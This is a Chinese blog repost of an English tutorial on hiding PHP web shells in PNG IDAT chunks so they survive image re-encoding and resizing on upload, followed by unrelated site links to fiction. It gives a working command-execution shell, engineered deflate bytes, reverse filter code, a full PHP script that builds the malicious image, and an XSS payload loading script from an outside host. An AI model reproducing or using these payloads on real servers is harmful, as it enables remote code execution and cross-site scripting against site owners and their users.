png,jpg二次渲染绕过

摘自https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

  • If you carefully encode a web shell in an image you can bypass server-side filters and seemingly make shells materialize out of nowhere(and I'm not talking about encoding data in comments or metadata) - this post will show you how it's possible to write PHP shells into PNG IDAT chunks using only GD.

  • Exploiting a server mis-configuration or Local File Inclusion can be tricky if you cannot write code to the file system - In the past applications that allow image uploads have provided a limited way to upload code to the server via metadata or malformed images. Quite often however images are resized, rotated, stripped of their metadata or encoded into other file formats effectively destroying the web shell payload.

  • PNG file format basics

  • Within the PNG file format (we'll focus on true-color PNG files rather than indexed) the IDAT chunk stores the pixel information. It's in this chunk that we'll store the PHP shell. For now we'll assume that pixels are always stored as 3 bytes representing the RGB color channels.

  • When a raw image is saved as a PNG each row of the image is filtered on a per byte basis and the row is prefixed with a number depicting the type of filter that's been used (0x01 to 0x05), different rows can use different filters. The rationale behind this is to improve the compression ratio. Once all the rows have been filtered they are all compressed with the DEFLATE algorithm to form the IDAT chunk.

  • So if we want to input data as a raw image and have it saved as a shell we need to defeat both the PNG line filters and the DEFLATE algorithm. It's easier to work backwards so we'll start with DEFLATE.

  • Step 1.Compressing a string to form a shell

Ideally we need to design a string that compresses to form a shell, this is not as hard as you might think but obviously our string can't contain any repeated blocks of code (or they'll be compressed). In fact, to prevent a shell from being compressed you have to design one that doesn't have any repeated substring longer than 2 characters in length. This means we have to keep it short:

<?=`$_GET[0]`;?>

If only it were that simple :) Sadly, if you run DEFLATE over the above string you get a load of garbage out, the string hasn't been compressed but the DEFLATE results don't start on a byte boundary and are encoded using LSB rather than MSB. I won't go into it in too much detail but you can read more on Pograph's weblog

It turns out the easiest shell to encode is in upper case:

<?=$_GET[0]($_POST[1]);?>

You can use it by specifying _GET[0] as *shell_exec* and passing a_POST[1] parameter with the shell command to execute.

I've engineered the following string that DEFLATES to the above, the advantage of this string is that the first byte of the payload can be changed from 0x00 up to 0x04 and the compressed string will still remain readable - this is important for evading the PNG filters that will be encountered in the next phase of processing.

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

Sadly you can't just embed this in the initial raw image and have it spat out in the IDAT chunk as the PNG library filters the image rows first before it applies DEFLATE.

  • Step 2. Bypassing the PNG line filters

There are 5 different types of filters and the PNG encoder decides which one it wants to use for each line. The problem now is we need to construct a string that when passed to the filters results in the string in step 1 being generated.

As long as our image only contains the 1 row payload (the rest of the image needs to be a constant color e.g. black) then the two filters you are likely to encounter are 1 and 3, to simplify things further if the payload remains in the top left of the image then we can write the reverse of the two filters as follows:

// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3 
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

If you encode the payload using just filter 3 the PNG encoder will try to encode it using filter 1, if you encode it using filter 1 the PNG encoder tries to use filter 0 - eventually you end up stuck in a loop.

To control which filter the PNG encoder selects I encode the shell in step two with both the inverse of filter 3 and filter 1 and concatenate them, this forces the encoder to choose filter 3 for the payload and ensures that when the data in the raw image is encoded it is transformed into the code in step 2. This code then compresses into the web shell which is stored in the IDAT chunk.

Using this method the following payload is created - filter 3 is in green, filter 1 in grey. Ironically using filters actually makes the payload larger.

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc,(green)
0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33(grey)

  • Step 3. Constructing the Raw Image

When constructing the raw image that GD will encode into a PNG file it's important that you place the payload in the first row of the image. It's worth noting at this point that the payload I've provided above only works for small images (up to ~40px by ~40px) although it is possible to construct payloads for larger image sizes.

Payloads need to be encoded as RGB byte sequences like so:

<?php
ob_clean();
header('Content-type: image/png');
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);


?>


When the image is constructed it should appear a string of pixels in the top left corner on a black background:

[图片上传失败...(image-2c901-1556470212562)]

When the image is viewed with a hex editor you should be able to see the shell:

Hexdump of PNG

If you want a background that's not black it is possible, you may get away with filling in the background with data as long as the bytes (not pixels) within this data do not appear within the rest of the image. If they do the payload may be destroyed when the IDAT block is compressed - it may also cause other filters to be deployed by the encoder.

  • Step 4. Bypassing image transforms

The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Imagecopyresampled transforms images by taking the average pixel value over a group of pixels meaning that to bypass this you need to encode the payload in a series of rectangles or squares. Imagecopyresized however transforms images by sampling every few pixels meaning that to bypass this function you actually only have to change a few pixels.

Imagecopyresize to 32x32
Imagecopyresample to 32x32

The image on the left when resized to 32x32 using imagecopyresize and the image on the right when resampled to 32x32 using imagecopyresample both reveal the web shell.

Some conclusions

Placing shells in IDAT chunks has some big advantages and should bypass most data validation techniques where applications resize or re-encode uploaded images. You can even upload the above payloads as GIFs or JPEGs etc. as long as the final image is saved as a PNG.

There are probably some better techniques you could use to hide the shell more convincingly and short of scanning each uploaded image for a shell there is probably not much you can do as a developer to stop it. I'd imagine that encoding a shell into a lossy format such as JPEG could be substantially harder - but probably not impossible.


  • Update: July 2015

If you control the content-type field of a http response containing a user supplied PNG file the following payload may be useful. It encodes the following script tags into the IDAT chunk:

<pre><ScRiPT sRC=//XQI.CC></SCrIpt>
</pre>

The script that it references evals the contents of the GET parameter zz allowing custom payloads to be inserted. It effectivly provides a reflected XSS endpoint for your target origin. e.g.

<pre>http://example.org/images/test.png?zz=alert("this is xss :(");
</pre>

Related work

There has been some other great work on encoding shells in images which bypass the GD library functions:

  • An image that is sucessful in encoding "<?=System($_GET[C]);?>" into a JPEG file which survives imagecreatefromjpeg (it raises an error but GD recovers).
  • a GIF where the encoding strategy is slightly different; the payload is encoded into the GIF header rather than in the body of the image.

Download PNG XSS Payload | PHP Payload

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,458评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,030评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,879评论 0 358
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,278评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,296评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,019评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,633评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,541评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,068评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,181评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,318评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,991评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,670评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,183评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,302评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,655评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,327评论 2 358

推荐阅读更多精彩内容